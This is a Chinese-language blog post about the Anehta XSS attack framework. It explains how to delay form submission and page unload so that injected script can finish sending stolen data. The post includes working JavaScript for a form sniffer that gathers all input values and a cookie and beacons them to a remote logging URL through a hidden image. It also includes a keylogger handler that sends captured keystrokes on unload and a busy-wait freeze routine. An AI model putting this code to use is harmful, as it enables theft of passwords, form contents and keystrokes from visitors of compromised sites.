Anehta — More on Hook Submit:阻塞Method的技巧
作者:刺
上一篇提到了如何做hook,也讲到了hook表单提交的几种不同方式。
今天要讲的是实现的一点细节。
我们知道,javascript中大部分的method都是非阻塞的,这样的好处是可以提高效率,坏处是很多时候我们确实是需要阻塞的功能。
极少数method是阻塞的,比如 alert()这个函数,在alert()执行完成并返回前,alert()之后的javascript代码都不会执行。
再比如html页面里的 <link >标签应该也是一个阻塞的标签,在该stylesheet加载完成前,后面的标签都不会加载。
所以我们如果在执行一些javascript函数时,如果需要等待某个函数的返回结果,才继续执行,就需要使用这一类方法或者技巧。
在hook submit的过程中我就遇到了类似的问题:
不论是使用jQuery中的绑定事件,或者是自己hook函数的方法,均会产生一个类似 竞争条件 的问题,在submit提交时,还没有执行完logCookie的过程,页面就已经跳转了,从而使得cookie记录失败。
所以我们需要做的事情就是,
使得 anehta.logger.logForm() 这个函数 阻塞,或者 迟滞 submit提交、页面跳转的时间。
因为logForm()函数里,最终都是调用getURL() 实现的向远程服务器传递消息,所以需要等待 getURL()的返回。
在这里我采用的迟滞的技巧。
在AttackAPI中有一个函数: freeze(),不知道作者的本意是什么,但是我用在这里却起到了延迟的效果,它能够冻结住页面一段时间,但是却并不影响JS的执行。可是页面却在这段时间内不会跳转了,所以我们有了充分的时间可以完成我们的工作。
anehta.logger.logForm = function(o) {
//alert(“logForm”);
var inputs = o.getElementsByTagName(“input”);
//url += “?”;
var param = “”; // form的参数
for (var i = 0; i < inputs.length; i ++) {
if (inputs[i].getAttribute(“name”) != null &&
inputs[i].getAttribute(“name”) != “”) {
param += escape(inputs[i].getAttribute(“name”)) + “=” + escape(inputs[i].value) + “&”;
}
}
// 记录提交的参数到远程服务器
param = XssInfo_S + “Watermark: ” + anehta.dom.getCookie(“anehtaWatermark”) + XssInfo_E +
XssInfo_S + “Form Sniffer: ” + escape(param) + XssInfo_E;
param = anehta.crypto.base64encode(param); //base64时候对时间影响太大,会导致还没发包就页面跳转,从而出错
//alert(param);
var img = document.createElement(“IMG”);
document.body.appendChild(img);
img.width = 0;
img.height = 0;
img.src = logurl+param;
// 需要冻结一段时间保证getURL成功完成
anehta.core.freeze(300);
//return false;
}
类似使用freeze()的地方,还有keylogger.
// 在窗口关闭时候发送keylog 到服务器
$(window).unload(function(){
//alert(keylogger);
// 时间不允许再base64加密了
//keylogger = anehta.crypto.base64encode(keylogger);
// 明文传输,需要标记为NoCryptMark
keylogger = NoCryptMark + XssInfo_S+”Keylogger: ” + keylogger + XssInfo_E;
//alert(keylogger);
//anehta.core.freeze(500);
anehta.net.getURL(logurl+escape(keylogger));
anehta.core.freeze(900);
//alert(keylogger);
}
);
其实现如下:
// 在time(ms)时间内冻结浏览器;idea from AttackAPI
anehta.core.freeze = function(time){
var date = new Date();
var cur = null;
do {
cur = new Date();
} while(cur – date < time);
};
当然还有更多的阻塞或者迟滞的技巧,以后再慢慢讨论和研究。